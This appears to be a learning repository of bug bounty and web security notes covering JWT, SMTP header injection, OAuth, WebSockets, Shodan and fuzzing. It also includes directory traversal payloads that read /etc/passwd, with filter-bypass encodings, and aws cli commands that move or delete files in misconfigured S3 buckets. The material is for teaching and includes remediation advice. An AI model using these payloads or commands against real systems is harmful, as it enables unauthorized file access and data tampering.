├── days ├── README.md ├── day27.md.txt ├── day25.md ├── day7.md ├── day14.md ├── day5.md ├── day2.md ├── day6.md ├── day8.md ├── day1.md ├── day9.md ├── day17.md ├── day20.md ├── day3.md ├── day4.md ├── day19.md ├── day23.md ├── day24.md ├── day22.md ├── day26.md ├── day12.md ├── day16.md ├── day10.md ├── day11.md ├── day18.md └── day13.md ├── README.md ├── SUMMARY.md ├── Day 28.md └── index.html /days/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: learn-100 3 | --- 4 | 5 | # days 6 | 7 | 100 days of learning 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # learn-100 - 100 days of learning 2 | 3 | ## Here I will be sharing whatever I will be learning for 100 days. If you want to contribute, you are just a pull request away :grin: :v: 4 | 5 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Table of contents 2 | 3 | * [learn-100 - 100 days of learning](README.md) 4 | * [days](days/README.md) 5 | * [day12](days/day12.md) 6 | * [day11](days/day11.md) 7 | * [day10](days/day10.md) 8 | * [day9](days/day9.md) 9 | * [day8](days/day8.md) 10 | * [day7](days/day7.md) 11 | * [day6](days/day6.md) 12 | * [day5](days/day5.md) 13 | * [day4](days/day4.md) 14 | * [day3](days/day3.md) 15 | * [day2](days/day2.md) 16 | * [day1](days/day1.md) 17 | * [day14](days/day14.md) 18 | * [day13](days/day13.md) 19 | 20 | -------------------------------------------------------------------------------- /days/day27.md.txt: -------------------------------------------------------------------------------- 1 | ### How JSON Web Token(JWT) authentication works? 2 | ### What is JWT (JSON Web Token)? 3 | ` 4 | JSON Web Token (JWT) is an open standard (RFC 7519) for securely transmitting information between parties as JSON object. 5 | It is compact, readable and digitally signed using a private key/ or a public key pair by the Identity Provider(IdP). So the integrity and authenticity of the token can be verified by other parties involved. 6 | The purpose of using JWT is not to hide data but to ensure the authenticity of the data. JWT is signed and encoded, not encrypted. 7 | JWT is a token based stateless authentication mechanism. Since it is a client-side based stateless session, server doesn’t have to completely rely on a datastore(database) to save session information. 8 | `` 9 | ### Structure of JWT 10 | A JSON Web Token consists of 3 parts separated by a period. 11 | header.payload.signature -------------------------------------------------------------------------------- /days/day25.md: -------------------------------------------------------------------------------- 1 | ### SMTP Header Injection 2 | ```` 3 | SMTP header injection vulnerabilities arise when user input is placed into email headers without adequate sanitization, allowing an attacker to inject additional headers with arbitrary values. 4 | This behavior can be exploited to send copies of emails to third parties, attach viruses, deliver phishing attacks, and often alter the content of emails. 5 | It is typically exploited by spammers looking to leverage the vulnerable company's reputation to add legitimacy to their emails. 6 | 7 | This issue is particularly serious if the email contains sensitive information not intended for the attacker, such as a password reset token. 8 | ```` 9 | ### Remediation 10 | ```` 11 | Validate that user input conforms to a whitelist of safe characters before placing it into email headers. 12 | In particular, input containing newlines and carriage returns should be rejected. Alternatively, consider switching to an email library that automatically prevents such attacks. 13 | ```` -------------------------------------------------------------------------------- /Day 28.md: -------------------------------------------------------------------------------- 1 | ### How to check for amazon s3 bucket misconfiguration 2 | ````` 3 | First of all, you need to install aws cli - 4 | * Pip install awscli 5 | * Set access key 6 | * Set secret key 7 | aws s3 ls s3:// 8 | See if you are able to access that bucket. 9 | If the bucket is not accessible, still we can try to exploit it. 10 | If you are getting some errors then run this command 11 | aws s3 ls s3:// --no-sign-request 12 | Try moving the files or deleting it and see if you are able to do that or not 13 | If it can be moved then it is vulnerable and you can report it otherwise it is not vulnerable 14 | For example - 15 | Make a file 16 | echo "Testing purpose" >> test.txt 17 | Command to move the file into the bucket. 18 | aws s3 mv test.txt s3:// 19 | Command to delete the file into the bucket 20 | aws s3 rm test.txt s3:///test.txt (if that is present) 21 | ````` 22 | ### References : 23 | 24 | * [Hackerone Report](https://hackerone.com/reports/700051) 25 | * [Hackerone Report](https://hackerone.com/reports/229690) 26 | * [https://bugbountypoc.com/s3-bucket-misconfiguration-from-basics-to-pawn](https://bugbountypoc.com/s3-bucket-misconfiguration-from-basics-to-pawn) 27 | -------------------------------------------------------------------------------- /days/day7.md: -------------------------------------------------------------------------------- 1 | # day7 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | What is fuzzing ? | 6 | | **2** | Why is it important ? | 7 | | **3** | Payload lists | 8 | 9 | ## What is fuzzing ? 10 | 11 | ```text 12 | In the world of cybersecurity, fuzzing is the usually automated process of finding hackable software bugs by randomly 13 | feeding different permutations of data into a target program until one of those permutations reveals a vulnerability. 14 | 15 | The purpose of fuzzing relies on the assumption that there are bugs within 16 | every program, which are waiting to be discovered. Therefore, a systematic approach should find them sooner or later. 17 | 18 | Fuzzing can add another point of view to classical software testing techniques (hand code review, debugging) because of it’s 19 | non-human approach. It doesn’t replace them, but is a reasonable complement, thanks to the limited work needed to put the procedure in place. 20 | ``` 21 | 22 | ## Why is it important ? 23 | 24 | ```text 25 | It will help you in increasing the scope by finding some files or directories that are hidden. 26 | You can find some hidden endpoints 27 | You can find default configured servers, some api keys, tokens etc. 28 | ``` 29 | 30 | ## Payload lists 31 | 32 | * [SecLists](https://github.com/danielmiessler/SecLists) 33 | * [Dirsearch](https://github.com/maurosoria/dirsearch) 34 | * [PayloadAllThings](https://github.com/swisskyrepo/PayloadsAllTheThings) 35 | 36 | -------------------------------------------------------------------------------- /days/day14.md: -------------------------------------------------------------------------------- 1 | # day14 2 | 3 | ## Authentication Bypass 4 | 5 | ```text 6 | Authentication bypass vulnerability could allow attackers to perform various malicious operations by bypassing 7 | the device authentication mechanism. 8 | ``` 9 | 10 | ## What's the issue 11 | 12 | ```text 13 | Authentication bypass exploit is mainly due to a weak authentication mechanism. 14 | 15 | Organizations failing to enforce strong access policy and authentication controls could allow an attacker to bypass authentication. 16 | 17 | Many default applications and servers come with unsecured default folders. 18 | Administrators fail to secure folders and servers with strong password protection. 19 | Device users fail to reset the default passwords. 20 | Sometimes, a protected application will include unprotected files. 21 | For instance, the application’s main folder will be secure, but other folders will be open without any protection. 22 | Likewise, protected sites might include folders that lack authentication. 23 | Most developers fail to test their systems prior to release thus leaving data open to attack. 24 | Attackers look for unprotected files, gains access to those unsecured files, gathers information and then attempt to attack protected applications by bypassing the authentication system. 25 | ``` 26 | 27 | ## Some good resources 28 | 29 | * [Medium Blog](https://medium.com/infosec/how-i-was-able-to-uniquely-bypass-authentication-while-web-pentesting-cd5d8d6a2837) 30 | * [Medium Blog](https://medium.com/cyberverse/authentication-bypass-with-x-path-injection-and-sql-injection-cyberverse-c5d8dd34ac9a) 31 | 32 | -------------------------------------------------------------------------------- /days/day5.md: -------------------------------------------------------------------------------- 1 | # day5 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | What is Shodan ? | 6 | | **2** | How to use Shodan ? | 7 | | **3** | Command Line Interface | 8 | | **4** | Resources | 9 | | **5** | Other information | 10 | 11 | ## What is Shodan ? 12 | 13 | ```text 14 | Shodan is a search engine that lets the user find specific types of computers connected to the internet using a variety 15 | of filters. 16 | Some have also described it as a search engine of service banners, which are 17 | metadata that the server sends back to the client. 18 | You can find information of all the interconnected devices, it could be any 19 | device like webcams, refrigerator, etc that were crawled by the Shodan crawler. 20 | ``` 21 | 22 | ## How to use Shodan ? 23 | 24 | ```text 25 | There are different queries that you can use in order to get better results. 26 | Syntax - filtername: value 27 | For ex, we can use queries including - 28 | data: the main response from the service itself 29 | ip_str: IP address of the device 30 | port: port number of the service 31 | org: the organization that owns this IP space 32 | location.country_code: the country where the device is located 33 | ``` 34 | 35 | ## Command Line Interface 36 | 37 | ```text 38 | You can also use Shodan in command line 39 | 40 | Installation - 41 | 42 | In a virtual python environment 43 | easy_install shodan or pip3 install shodan 44 | Once you have installed CLI tool, setup your API token 45 | shodan init 46 | 47 | Help - 48 | 49 | shodan -h 50 | 51 | Search - 52 | 53 | shodan search -h for help 54 | ``` 55 | 56 | ## Resources 57 | 58 | [ShodanQueries-github-repo](https://github.com/jakejarvis/awesome-shodan-queries) 59 | 60 | ## Other information 61 | 62 | ```text 63 | Download data 64 | Generate reports 65 | Shodan Maps 66 | Shodan Images 67 | ``` 68 | 69 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Learning in 100 Days 9 | 11 | 12 | 13 | 31 | 32 | 33 |
34 |

# learn-100 - 100 days of learning 👨‍💻

35 |

36 | ## Here I will be sharing whatever I will be learning for 100 days. If you want to contribute, you are just 37 | a pull request away 😁 ✌ 38 |

39 | 42 |
43 | 44 | 47 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /days/day2.md: -------------------------------------------------------------------------------- 1 | # day2 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | Why Vulnerabilities occur ? | 6 | | **2** | Handling User Access | 7 | | **3** | Handling User Input | 8 | | **4** | Boundary Validation | 9 | | **5** | Multistep Validation and Canonicalization | 10 | | **6** | Handling Attackers | 11 | | **7** | Managing the Application | 12 | 13 | ## Do you ever thought that instead of using SSL and other external services in order to secure the website but still it is vulnerable to different attacks ? 14 | 15 | ```text 16 | Well, the prime reason for this is because the user is able to give some arbitrary input 17 | in the web application. 18 | User can give some malicious input such as so it is important to handle the user input properly 19 | ``` 20 | 21 | ### Handling User Access 22 | 23 | ```text 24 | Authentication - Proving who you are claiming to be 25 | Session Management - Session should expire 26 | Access Control - Right peope should have access to right resources at the right time for the right reasons 27 | ``` 28 | 29 | ### Handling User Input 30 | 31 | ```text 32 | * Validation 33 | * Reject Known Bad 34 | * Accept Known Good 35 | * Sanitization 36 | * Safe Data Handling 37 | * Semantic Checks 38 | * Boundary Validation 39 | ``` 40 | 41 | ### Boundary Validation 42 | 43 | ```text 44 | We are doing boundary validation because user input still cannot be trusted because 45 | we do not know whether the server is receiving the safe or trusted data or not 46 | Boundary validation is validating at every boundary like - 47 | 48 | When input is given -> When it is sent to server -> When it is sent to some services 49 | 50 | At every boundary, validating the input is very important in order to secure your web application 51 | ``` 52 | 53 | ### Multistep Validation and Canonicalization 54 | 55 | ```text 56 | Problem is when user-supplied input is manipulated across serveral steps as part of the 57 | validation logic - It should be handled properly -> Encoding may bypass this vulnerability as multiple encodings can bypass this 58 | ``` 59 | 60 | ## We have taken steps to make user input safe and now the other part is Handling Attackers 61 | 62 | ### Handling Attackers 63 | 64 | ```text 65 | * Handling errors 66 | * Maintaining audit logs 67 | * Alerting administrators 68 | * Reacting to Attacks 69 | ``` 70 | 71 | ### Managing the Application 72 | 73 | ```text 74 | Application should be managed or administered properly in order to make it secure 75 | ``` 76 | 77 | ## These are some ways to secure the Web Application 78 | 79 | -------------------------------------------------------------------------------- /days/day6.md: -------------------------------------------------------------------------------- 1 | # day6 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | Note Taking | 6 | | **2** | Why is it important ? | 7 | | **3** | How you can do that properly ? | 8 | | **4** | Tools that you can use for note keeping | 9 | | **5** | Resources | 10 | 11 | ## Note Taking 12 | 13 | ```text 14 | Note taking is very important for beginners, especially when you are still not creative, when you have not fully begun to think 15 | like a hacker. Making notes and creating a methodology doesn’t guarantee immediate success, but it greatly amplifies your speed 16 | of becoming a better researcher/hacker. 17 | ``` 18 | 19 | ## Why is it important ? 20 | 21 | ```text 22 | * Makes learning easy 23 | * Helps you create and adhere to a methodology 24 | ``` 25 | 26 | ## How you can do that properly ? 27 | 28 | ```text 29 | Lets say you want to start with attack vectors. How do you start? 30 | For best results, pick a vulnerability class and learn as much as possible from many different resources even if it is reading about the same stuff. Dedicate at least 2–3 days (minimum)to learn a particular attack. Read as many articles and watch as many videos as you can. 31 | The next step is to make notes after (or while) reading, organizing them and trying to recognize different attack patterns. Let me tell you what will happen if you will do this. 32 | 33 | Let's start with the most simplest of attacks → trying to tamper with the “Forgot password” functionality (this of course can be classified as an attack based on functionality rather than a particular bug class. Make notes this way because it helps in real world bug hunting) 34 | 35 | After reading many reports and articles on this, I made notes and organized them. What I got out of this was different patterns of attacks. 36 | 37 | Leaking of password reset token in the response (immediately after requesting a password reset via “forgot password”). 38 | 39 | Getting the password reset token to the attacker’s email address via HTTP parameter pollution. 40 | 41 | Host header poisoning (setting the Host header to the attacker’s server) 42 | 43 | IDOR → changing the victim email or user ID to attacker email or user ID 44 | 45 | Password reset token not expiring 46 | 47 | Brute forcing password reset tokens 48 | 49 | Logic flaws in “forgot password” functionality 50 | 51 | You see, now while testing I would have a checklist. 52 | This would become a part of my methodology. This is of course, 53 | apart from any testing that would be required for the specific 54 | web application tested. 55 | 56 | You can also follow the security researchers on twitter, instagram or Youtube where they 57 | keep on sharing some tips and tricks. That can also help you a lot. 58 | 59 | I read this in a blog and have found this to be really simple yet useful. You can check resources for more information. 60 | ``` 61 | 62 | ## Tools that you can use for note keeping 63 | 64 | * [OneNote](https://www.microsoft.com/en-in/microsoft-365/onenote/digital-note-taking-app?ms.url=onenotecom&rtc=1) 65 | * [Evernote](https://evernote.com/) 66 | 67 | ## Resources 68 | 69 | * [BugHunterMethodology](https://www.bugcrowd.com/blog/the-importance-of-notes-session-tracking-bug-bounty-hunter-methodology/) 70 | * [TheneedforNoteMaking](https://sankethsharath.medium.com/the-need-for-note-making-and-an-organized-methodology-in-bug-bounty-hunting-f4d23c7db4bf) 71 | 72 | ## Will keep updating the resouces so keep checking that in future as well :smile: :v: 73 | 74 | -------------------------------------------------------------------------------- /days/day8.md: -------------------------------------------------------------------------------- 1 | # day8 2 | 3 | ## What is Authentication ? 4 | 5 | ```text 6 | Authentication is the process of verifying the identity of a given user or client. In other words, it involves 7 | making sure that they really are who they claim to be. 8 | ``` 9 | 10 | ## What is the difference between authentication and authorization ? 11 | 12 | ```text 13 | Authentication is the process of verifying that a user really is who they claim to be, whereas authorization involves verifying 14 | whether a user is allowed to do something. 15 | 16 | In the context of a website or web application, authentication determines whether someone attempting to access the site with the 17 | username Anishka really is the same person who created the account. 18 | 19 | Once Anishka is authenticated, her permissions determine whether or not she is authorized, for example, to access personal 20 | information about other users or perform actions such as deleting another user's account. 21 | ``` 22 | 23 | ## How do authentication vulnerabilities arise ? 24 | 25 | ```text 26 | Most vulnerabilities in authentication mechanisms arise in one of two ways: 27 | 28 | * The authentication mechanisms are weak because they fail to adequately protect against brute-force attacks. 29 | * Logic flaws or poor coding in the implementation allow the authentication mechanisms to be bypassed entirely by an attacker. 30 | This is sometimes referred to as "broken authentication". 31 | ``` 32 | 33 | ## Impact of Vulnerable Authentication 34 | 35 | ```text 36 | The impact of authentication vulnerabilities can be very severe. Once an attacker has either bypassed authentication or has 37 | brute-forced their way into another user's account, they have access to all the data and functionality that the compromised 38 | account has. If they are able to compromise a high-privileged account, such as a system administrator, they could take full 39 | control over the entire application and potentially gain access to internal infrastructure 40 | ``` 41 | 42 | ## Vulnerabilities in Password Based Login 43 | 44 | ```text 45 | For websites that adopt a password-based login process, users either register for an account themselves or they are 46 | assigned an account by an administrator. This account is associated with a unique username and a secret password, 47 | which the user enters in a login form to authenticate themselves. 48 | 49 | In this scenario, the mere fact that they know the secret password is taken as sufficient proof of the user's identity. 50 | Consequently, the security of the website would be compromised if an attacker is able to either obtain or guess the login credentials of another user. 51 | 52 | This can be achieved in a variety of ways, as we'll explore below. 53 | ``` 54 | 55 | ### Brute-Force attacks 56 | 57 | ```text 58 | A brute-force attack is when an attacker uses a system of trial and error in an attempt to guess valid user credentials. 59 | These attacks are typically automated using wordlists of usernames and passwords. Automating this process, especially using 60 | dedicated tools, potentially enables an attacker to make vast numbers of login attempts at high speed. 61 | 62 | Brute-forcing is not always just a case of making completely random guesses at usernames and passwords. By also using basic 63 | logic or publicly available knowledge, attackers can fine-tune brute-force attacks to make much more educated guesses. This considerably 64 | increases the efficiency of such attacks. Websites that rely on password-based login as their sole method of authenticating users can be highly 65 | vulnerable if they do not implement sufficient brute-force protection. 66 | ``` 67 | 68 | -------------------------------------------------------------------------------- /days/day1.md: -------------------------------------------------------------------------------- 1 | # day1 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | What is Bug Bounty Hunting | 6 | | **2** | How to start in Bug Bounty Hunting | 7 | | **3** | How to avoid Duplicates and submit a valid bug ? | 8 | | **4** | Resources | 9 | | **5** | Other Resource | 10 | | **6** | Tips | 11 | 12 | ## What is Bug Bounty Hunting ? 13 | 14 | ### A bug bounty is a program offered to individuals who identify and report bugs back to companies, websites or developers. These programs reward individuals for finding vulnerabilities before they become security issues 15 | 16 | ## How to start in Bug Bounty Hunting ? 17 | 18 | ### There are a lot of resources available online that you can refer to in order to start with it. There are different courses that you can do as well. 19 | 20 | ## How to avoid Duplicates and submit a valid bug ? 21 | 22 | ```text 23 | * Gather as much information as you can about the target 24 | * Try hunting on the subdomains rather than the main target or domain 25 | * Read the Program Details properly and understand which domains are in scope and which are not 26 | * Also properly read about what kinds of bugs you should focus on which will help you get the points or bounty 27 | * Try to find bugs in parent company and subsidiary company of the domain 28 | ``` 29 | 30 | ## Resources 31 | 32 | ### Books 33 | 34 | ```text 35 | * Web Application Hacker's Handbook 36 | * Web Hacking 101 37 | * Mastering Modern Web Application 38 | * Hacker's Playbook 39 | ``` 40 | 41 | ### Youtube Channel 42 | 43 | * [Hackerone](https://www.youtube.com/channel/UCsgzmECky2Q9lQMWzDwMhYw) 44 | * [Bugcrowd](https://www.youtube.com/channel/UCo1NHk_bgbAbDBc4JinrXww) 45 | * [HackerSploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) 46 | * [Live Overflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) 47 | * [STÖK](https://www.youtube.com/channel/UCQN2DsjnYH60SFBIA6IkNwg) 48 | * [The Cyber Mentor](https://www.youtube.com/channel/UC0ArlFuFYMpEewyRBzdLHiw) 49 | * [Nahamsec](https://www.youtube.com/channel/UCCZDt7MuC3Hzs6IH4xODLBw) 50 | * [John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw) 51 | * [Pratik Dabhi](https://www.youtube.com/channel/UCszyA_7DVMz63bI30NW2a_g) 52 | * [RESETHACKER](https://www.youtube.com/channel/UChQSrDKLm8NkSsgqZZYtKZA) 53 | * [Bitten Tech](https://www.youtube.com/channel/UC3PsooDxvFG0aEBe4JVtAbg) 54 | * [Farah Hawa](https://www.youtube.com/channel/UCq9IyPMXiwD8yBFHkxmN8zg) 55 | * [InsiderPhD](https://www.youtube.com/channel/UCPiN9NPjIer8Do9gUFxKv7A) 56 | * [Hacksplained](https://www.youtube.com/channel/UCyv6ItVqQPnlFFi2zLxlzXA) 57 | * [Bug Bounty Reports Explained](https://www.youtube.com/channel/UCZDyl7G-Lq-EMVO8PfDFp9g) 58 | * [Reconless](https://www.youtube.com/channel/UCCp25j1Zh9vc_WFm-nB9fhQ) 59 | * [The XSS rat](https://www.youtube.com/channel/UCjBhClJ59W4hfUly51i11hg) 60 | * [hakluke](https://www.youtube.com/channel/UCCzvz8jsulXm27Cd6k3vzyg) 61 | * [codingo](https://www.youtube.com/channel/UCUfO02gdMDXgOJWdv_jiLMg) 62 | * [RogueSMG](https://www.youtube.com/channel/UC855OCrjl7C3elK8VfEZoHw) 63 | * [zseano](https://www.youtube.com/channel/UCCUFgj-52_ryvpQUacylRpg) 64 | * [Busra Demir](https://www.youtube.com/channel/UCksdNO8hAiOQoWZhEXhyyZA) 65 | * [Cybernity](https://www.youtube.com/channel/UCBw5qqM8xdENgL6bpKHOmGQ) 66 | * [zSecurity](https://www.youtube.com/c/zsecurity) 67 | 68 | ## Other Resources 69 | 70 | ```text 71 | Hackerone Reports 72 | Bugcrowd Resources 73 | Portswigger Academy 74 | Intigriti Blogs 75 | PentesterLab 76 | Medium Blogs 77 | ``` 78 | 79 | ## Tips 80 | 81 | ```text 82 | * Do not be afraid to make mistakes. Make mistakes, learn from them and be better. 83 | * In the starting you may find it difficult to find a valid bug but keep hunting and be consistent. 84 | * Consitency is the key. 85 | * Keep learning, Keep Hunting 86 | ``` 87 | 88 | -------------------------------------------------------------------------------- /days/day9.md: -------------------------------------------------------------------------------- 1 | # day9 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | What is OAuth ? | 6 | | **2** | How OAuth 2.0 works ? | 7 | | **3** | Oauth Authentication | 8 | | **4** | How do OAuth authentication vulnerabilities arise ? | 9 | 10 | ## What is OAuth ? 11 | 12 | ```text 13 | Auth is a commonly used authorization framework that enables websites and web applications to request limited access to a user's account on another application. 14 | Crucially, OAuth allows the user to grant this access without exposing their login credentials to the requesting application. This means users can fine-tune which data they want to share rather than having to hand over full control of their account to a third party. 15 | 16 | The basic OAuth process is widely used to integrate third-party functionality that requires access to certain data from a user's account. 17 | For example, an application might use OAuth to request access to your email contacts list so that it can suggest people to connect with. However, the same mechanism is also used to provide third-party authentication services, allowing users to log in with an account that they have with a different website 18 | ``` 19 | 20 | ## How OAuth 2.0 works ? 21 | 22 | ```text 23 | OAuth 2.0 was originally developed as a way of sharing access to specific data between applications. 24 | It works by defining a series of interactions between three distinct parties, namely a client application, a resource owner, and the OAuth service provider. 25 | 26 | Client application - The website or web application that wants to access the user's data. 27 | 28 | Resource owner - The user whose data the client application wants to access. 29 | 30 | OAuth service provider - The website or application that controls the user's data and access to it. They support OAuth by providing an API for interacting with both an authorization server and a resource server. 31 | ``` 32 | 33 | ## Oauth Authentication 34 | 35 | ```text 36 | For OAuth authentication mechanisms, the basic OAuth flows remain largely the same; the main difference is how the 37 | client application uses the data that it receives. From an end-user perspective, the result of OAuth authentication is 38 | something that broadly resembles SAML-based single sign-on (SSO). In these materials, we'll focus exclusively on vulnerabilities in this SSO-like use case. 39 | 40 | OAuth authentication is generally implemented as follows: 41 | 42 | The user chooses the option to log in with their social media account. The client application then uses the 43 | social media site's OAuth service to request access to some data that it can use to identify the user. This could be the email address that is registered with their account, for example. 44 | After receiving an access token, the client application requests this data from the resource server, typically from a dedicated /userinfo endpoint. 45 | Once it has received the data, the client application uses it in place of a username to log the user in. The access token that it received from the authorization server is often used instead of a traditional password. 46 | ``` 47 | 48 | ## How do OAuth authentication vulnerabilities arise ? 49 | 50 | ```text 51 | OAuth authentication vulnerabilities arise partly because the OAuth specification is relatively vague and flexible by design. Although there are a handful of mandatory components required for the basic functionality of each grant type, the vast majority of the implementation is completely optional. This includes many configuration settings that are necessary for keeping users' data secure. In short, there's plenty of opportunity for bad practice to creep in. 52 | 53 | One of the other key issues with OAuth is the general lack of built-in security features. The security relies almost entirely on developers using the right combination of configuration options and implementing their own additional security measures on top, such as robust input validation. As you've probably gathered, there's a lot to take in and this is quite easy to get wrong if you're inexperienced with OAuth. 54 | 55 | Depending on the grant type, highly sensitive data is also sent via the browser, which presents various opportunities for an attacker to intercept it 56 | ``` 57 | 58 | -------------------------------------------------------------------------------- /days/day17.md: -------------------------------------------------------------------------------- 1 | ### Testing for WebSockets security vulnerabilities 2 | 3 | ### WebSockets 4 | ```` 5 | WebSockets are widely used in modern web applications. 6 | They are initiated over HTTP and provide long-lived connections with asynchronous communication in both directions. 7 | 8 | WebSockets are used for all kinds of purposes, including performing user actions and transmitting sensitive information. 9 | Virtually any web security vulnerability that arises with regular HTTP can also arise in relation to WebSockets communications. 10 | 11 | WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. They are commonly used in modern web applications for streaming data and other asynchronous traffic. 12 | ```` 13 | ### What is the difference between HTTP and WebSockets ? 14 | ```` 15 | Most communication between web browsers and web sites uses HTTP. With HTTP, the client sends a request and the server returns a response. 16 | Typically, the response occurs immediately, and the transaction is complete. Even if the network connection stays open, this will be used for a separate transaction of a request and a response. 17 | 18 | Some modern web sites use WebSockets. WebSocket connections are initiated over HTTP and are typically long-lived. 19 | Messages can be sent in either direction at any time and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message. 20 | 21 | WebSockets are particularly useful in situations where low-latency or server-initiated messages are required, such as real-time feeds of financial data. 22 | ```` 23 | ## How are WebSocket connections established ? 24 | ```` 25 | WebSocket connections are normally created using client-side JavaScript like the following: 26 | 27 | var ws = new WebSocket("wss://normal-website.com/chat"); 28 | 29 | To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following: 30 | 31 | GET /chat HTTP/1.1 32 | Host: normal-website.com 33 | Sec-WebSocket-Version: 13 34 | Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== 35 | Connection: keep-alive, Upgrade 36 | Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 37 | Upgrade: websocket 38 | 39 | If the server accepts the connection, it returns a WebSocket handshake response like the following: 40 | 41 | HTTP/1.1 101 Switching Protocols 42 | Connection: Upgrade 43 | Upgrade: websocket 44 | Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= 45 | 46 | At this point, the network connection remains open and can be used to send WebSocket messages in either direction. 47 | ```` 48 | ### What do WebSocket messages look like ? 49 | ```` 50 | Once a WebSocket connection has been established, messages can be sent asynchronously in either direction by the client or server. 51 | 52 | A simple message could be sent from the browser using client-side JavaScript like the following: 53 | 54 | ws.send("Peter Wiener"); 55 | 56 | In principle, WebSocket messages can contain any content or data format. 57 | In modern applications, it is common for JSON to be used to send structured data within WebSocket messages. 58 | 59 | For example, a chat-bot application using WebSockets might send a message like the following: 60 | 61 | {"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} 62 | ```` 63 | ### Manipulating WebSocket traffic 64 | ```` 65 | Finding WebSockets security vulnerabilities generally involves manipulating them in ways that the application doesn't expect. 66 | You can do this using Burp Suite. 67 | 68 | You can use Burp Suite to: 69 | 70 | Intercept and modify WebSocket messages. 71 | Replay and generate new WebSocket messages. 72 | Manipulate WebSocket connections. 73 | Intercepting and modifying WebSocket messages 74 | You can use Burp Proxy to intercept and modify WebSocket messages, as follows: 75 | 76 | Configure your browser to use Burp Suite as its proxy server. 77 | Browse to the application function that uses WebSockets. Y 78 | ou can determine that WebSockets are being used by using the application and looking for entries appearing in the WebSockets history tab within Burp Proxy. 79 | In the Intercept tab of Burp Proxy, ensure that interception is turned on. 80 | When a WebSocket message is sent from the browser or server, it will be displayed in the Intercept tab for you to view or modify. 81 | Press the Forward button to forward the message. 82 | ```` 83 | -------------------------------------------------------------------------------- /days/day20.md: -------------------------------------------------------------------------------- 1 | ### What is directory traversal? 2 | ```` 3 | Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. 4 | This might include application code and data, credentials for back-end systems,and sensitive operating system files. 5 | In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server. 6 | ```` 7 | ### Reading arbitrary files via directory traversal 8 | ```` 9 | Consider a shopping application that displays images of items for sale. Images are loaded via some HTML like the following: 10 | 11 | 12 | 13 | The loadImage URL takes a filename parameter and returns the contents of the specified file. The image files themselves are stored on disk in the location /var/www/images/. 14 | To return an image, the application appends the requested filename to this base directory and uses a filesystem API to read the contents of the file. 15 | In the above case, the application reads from the following file path: 16 | 17 | /var/www/images/218.png 18 | 19 | The application implements no defenses against directory traversal attacks, so an attacker can request the following URL to retrieve an arbitrary file from the server's filesystem: 20 | 21 | https://insecure-website.com/loadImage?filename=../../../etc/passwd 22 | 23 | This causes the application to read from the following file path: 24 | 25 | /var/www/images/../../../etc/passwd 26 | 27 | The sequence ../ is valid within a file path, and means to step up one level in the directory structure. The three consecutive ../ sequences step up from /var/www/images/ to the filesystem root, and so the file that is actually read is: 28 | 29 | /etc/passwd 30 | 31 | On Unix-based operating systems, this is a standard file containing details of the users that are registered on the server. 32 | 33 | On Windows, both ../ and ..\ are valid directory traversal sequences, and an equivalent attack to retrieve a standard operating system file would be: 34 | 35 | https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini 36 | ```` 37 | ### Common obstacles to exploiting file path traversal vulnerabilities 38 | ```` 39 | Many applications that place user input into file paths implement some kind of defense against path traversal attacks, and these can often be circumvented. 40 | 41 | If an application strips or blocks directory traversal sequences from the user-supplied filename, then it might be possible to bypass the defense using a variety of techniques. 42 | 43 | You might be able to use an absolute path from the filesystem root, such as filename=/etc/passwd, to directly reference a file without using any traversal sequences. 44 | 45 | You might be able to use nested traversal sequences, such as ....// or ....\/, which will revert to simple traversal sequences when the inner sequence is stripped. 46 | 47 | You might be able to use various non-standard encodings, such as ..%c0%af or ..%252f, to bypass the input filter. 48 | 49 | If an application requires that the user-supplied filename must start with the expected base folder, such as /var/www/images, then it might be possible to include the required base folder followed by suitable traversal sequences. For example: 50 | 51 | filename=/var/www/images/../../../etc/passwd 52 | 53 | If an application requires that the user-supplied filename must end with an expected file extension, such as .png, then it might be possible to use a null byte to effectively terminate the file path before the required extension. For example: 54 | 55 | filename=../../../etc/passwd%00.pngs 56 | ```` 57 | ### How to prevent a directory traversal attack 58 | ```` 59 | The most effective way to prevent file path traversal vulnerabilities is to avoid passing user-supplied input to filesystem APIs altogether. Many application functions that do this can be rewritten to deliver the same behavior in a safer way. 60 | 61 | If it is considered unavoidable to pass user-supplied input to filesystem APIs, then two layers of defense should be used together to prevent attacks: 62 | 63 | The application should validate the user input before processing it. Ideally, the validation should compare against a whitelist of permitted values. 64 | If that isn't possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters. 65 | After validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. 66 | It should verify that the canonicalized path starts with the expected base directory. 67 | Below is an example of some simple Java code to validate the canonical path of a file based on user input: 68 | 69 | File file = new File(BASE_DIRECTORY, userInput); 70 | if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { 71 | // process file 72 | } 73 | ```` 74 | 75 | -------------------------------------------------------------------------------- 